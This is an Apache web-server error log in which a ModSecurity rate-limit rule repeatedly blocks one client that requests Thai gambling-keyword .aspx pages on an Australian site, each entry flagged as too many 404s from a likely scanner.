[Tue Jan 27 10:17:07.540109 2026] [:error] [pid 7454:tid 7531] [client 93.158.213.25:50542] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%20%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXggI5ltCoZEfMmfl8DJ5gAAAI8"]
[Tue Jan 27 10:17:10.968412 2026] [:error] [pid 7453:tid 7511] [client 93.158.213.25:50556] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXggJhfsyA2ws_ADqujzYgAAAFY"]
[Tue Jan 27 10:17:14.277764 2026] [:error] [pid 41780:tid 41787] [client 93.158.213.25:50558] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%8A%E0%B8%B5%E0%B8%A2.aspx"] [unique_id "aXggKlvu-XLQ0TaZ4FGwSQAAAQU"]
[Tue Jan 27 10:17:17.107055 2026] [:error] [pid 48446:tid 48492] [client 93.158.213.25:35438] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slot%20joker123%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXggLcDRSaZ8F8aaLxkf1gAAAc4"]
[Tue Jan 27 10:17:21.144700 2026] [:error] [pid 48446:tid 48501] [client 93.158.213.25:35450] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slotxo%20888.aspx"] [unique_id "aXggMcDRSaZ8F8aaLxkf3AAAAdc"]
[Tue Jan 27 10:17:23.997850 2026] [:error] [pid 7561:tid 7578] [client 93.158.213.25:35466] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20slotxo%20joker%20%E0%B8%AB%E0%B8%99%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A.aspx"] [unique_id "aXggM7XGI6mgvHQqkXxzKAAAAM4"]
[Tue Jan 27 10:17:27.539132 2026] [:error] [pid 48445:tid 48456] [client 93.158.213.25:33868] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufa365%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXggNxFh_QNUhZ0HkzeGWwAAAYc"]
[Tue Jan 27 10:17:30.561126 2026] [:error] [pid 48412:tid 48428] [client 93.158.213.25:33876] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXggOnbJMfAKlln88JFvTAAAAU4"]
[Tue Jan 27 10:18:00.142119 2026] [:error] [pid 41780:tid 41784] [client 93.158.213.25:33888] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2s%20joker.aspx"] [unique_id "aXggWFvu-XLQ0TaZ4FGwmwAAAQI"]
[Tue Jan 27 10:18:04.128340 2026] [:error] [pid 48528:tid 48533] [client 93.158.213.25:32792] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXggXAOGRrquT9N7CZok7wAAAgM"]
[Tue Jan 27 10:18:07.327536 2026] [:error] [pid 7561:tid 7579] [client 93.158.213.25:38218] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9E%E0%B8%B5%E0%B8%88%E0%B8%B5%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXggX7XGI6mgvHQqkXxzTgAAAM8"]
[Tue Jan 27 10:18:10.584530 2026] [:error] [pid 48528:tid 48545] [client 93.158.213.25:38228] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95.aspx"] [unique_id "aXggYgOGRrquT9N7CZok9gAAAg8"]
[Tue Jan 27 10:18:14.081017 2026] [:error] [pid 48662:tid 48673] [client 93.158.213.25:38244] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%20otp%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXggZuD8iESUP9uRiROmVQAAAoU"]
[Tue Jan 27 10:18:18.024996 2026] [:error] [pid 7453:tid 7489] [client 93.158.213.25:36966] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXggahfsyA2ws_ADqujzvgAAAEA"]
[Tue Jan 27 10:18:21.152741 2026] [:error] [pid 48631:tid 48645] [client 93.158.213.25:36972] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%9A%E0%B8%97168%20vip.aspx"] [unique_id "aXggbSN5eesHzEogX0zoBQAAAkw"]
[Tue Jan 27 10:18:25.078519 2026] [:error] [pid 48412:tid 48430] [client 93.158.213.25:36988] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2168.aspx"] [unique_id "aXggcXbJMfAKlln88JFvfwAAAVA"]
[Tue Jan 27 10:18:27.982294 2026] [:error] [pid 48631:tid 48641] [client 93.158.213.25:39708] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2888.aspx"] [unique_id "aXggcyN5eesHzEogX0zoCwAAAkg"]
[Tue Jan 27 10:18:31.202145 2026] [:error] [pid 48412:tid 48426] [client 93.158.213.25:39710] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A1%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%20betflix.aspx"] [unique_id "aXggd3bJMfAKlln88JFvhwAAAUw"]
[Tue Jan 27 10:18:34.257165 2026] [:error] [pid 48412:tid 48424] [client 93.158.213.25:39716] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A1%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%202021.aspx"] [unique_id "aXggenbJMfAKlln88JFvjgAAAUo"]
[Tue Jan 27 10:18:37.557403 2026] [:error] [pid 48446:tid 48495] [client 93.158.213.25:59058] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A1%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXggfcDRSaZ8F8aaLxkgFwAAAdE"]
[Tue Jan 27 10:18:40.510469 2026] [:error] [pid 48528:tid 48538] [client 93.158.213.25:59068] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A3%E0%B8%A7%E0%B8%A2%E0%B8%88%E0%B8%B1%E0%B8%87%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXgggAOGRrquT9N7CZolCgAAAgg"]
[Tue Jan 27 10:18:43.758252 2026] [:error] [pid 48631:tid 48641] [client 93.158.213.25:59074] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%95.aspx"] [unique_id "aXgggyN5eesHzEogX0zoFgAAAkg"]
[Tue Jan 27 10:18:46.999997 2026] [:error] [pid 7561:tid 7576] [client 93.158.213.25:36048] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXgghrXGI6mgvHQqkXxzdwAAAMw"]
[Tue Jan 27 10:18:49.884733 2026] [:error] [pid 48446:tid 48477] [client 93.158.213.25:36058] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%83%E0%B8%AB%E0%B9%89%20%E0%B9%81%E0%B8%95%E0%B8%81.aspx"] [unique_id "aXggicDRSaZ8F8aaLxkgKAAAAcA"]
[Tue Jan 27 10:18:53.335361 2026] [:error] [pid 48445:tid 48458] [client 93.158.213.25:36074] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXggjRFh_QNUhZ0HkzeGkwAAAYk"]
[Tue Jan 27 10:18:56.534913 2026] [:error] [pid 48412:tid 48423] [client 93.158.213.25:52260] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXggkHbJMfAKlln88JFvpgAAAUk"]
[Tue Jan 27 10:19:24.630295 2026] [:error] [pid 7454:tid 7522] [client 93.158.213.25:52270] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20100%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C%202020.aspx"] [unique_id "aXggrJltCoZEfMmfl8DKMQAAAIY"]
[Tue Jan 27 10:19:27.686841 2026] [:error] [pid 48412:tid 48436] [client 93.158.213.25:40036] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20100%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXggr3bJMfAKlln88JFvzwAAAVY"]
[Tue Jan 27 10:19:30.936155 2026] [:error] [pid 7561:tid 7581] [client 93.158.213.25:40038] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3%201%20%E0%B8%9A%E0%B8%B2%E0%B8%97.aspx"] [unique_id "aXggsrXGI6mgvHQqkXxzogAAANE"]
[Tue Jan 27 10:19:34.218430 2026] [:error] [pid 48528:tid 48543] [client 93.158.213.25:40050] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXggtgOGRrquT9N7CZolLAAAAg0"]
[Tue Jan 27 10:19:37.215439 2026] [:error] [pid 48412:tid 48419] [client 93.158.213.25:42680] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20pg.aspx"] [unique_id "aXgguXbJMfAKlln88JFv3AAAAUU"]
[Tue Jan 27 10:19:39.976962 2026] [:error] [pid 48446:tid 48501] [client 93.158.213.25:42688] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXggu8DRSaZ8F8aaLxkgPgAAAdc"]
[Tue Jan 27 10:19:42.968431 2026] [:error] [pid 48446:tid 48478] [client 93.158.213.25:42692] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789.aspx"] [unique_id "aXggvsDRSaZ8F8aaLxkgQQAAAcE"]
[Tue Jan 27 10:19:46.036066 2026] [:error] [pid 48446:tid 48502] [client 93.158.213.25:42702] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%2088%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXggwsDRSaZ8F8aaLxkgSgAAAdg"]
[Tue Jan 27 10:19:49.016021 2026] [:error] [pid 48528:tid 48545] [client 93.158.213.25:43772] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%2088.aspx"] [unique_id "aXggxQOGRrquT9N7CZolNAAAAg8"]
[Tue Jan 27 10:19:51.587876 2026] [:error] [pid 48446:tid 48494] [client 93.158.213.25:43780] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3.aspx"] [unique_id "aXggx8DRSaZ8F8aaLxkgTQAAAdA"]
[Tue Jan 27 10:19:54.979839 2026] [:error] [pid 48631:tid 48646] [client 93.158.213.25:43788] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888.aspx"] [unique_id "aXggyiN5eesHzEogX0zoQQAAAk0"]
[Tue Jan 27 10:19:57.966104 2026] [:error] [pid 48631:tid 48648] [client 93.158.213.25:50014] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20g2g.aspx"] [unique_id "aXggzSN5eesHzEogX0zoRwAAAk8"]
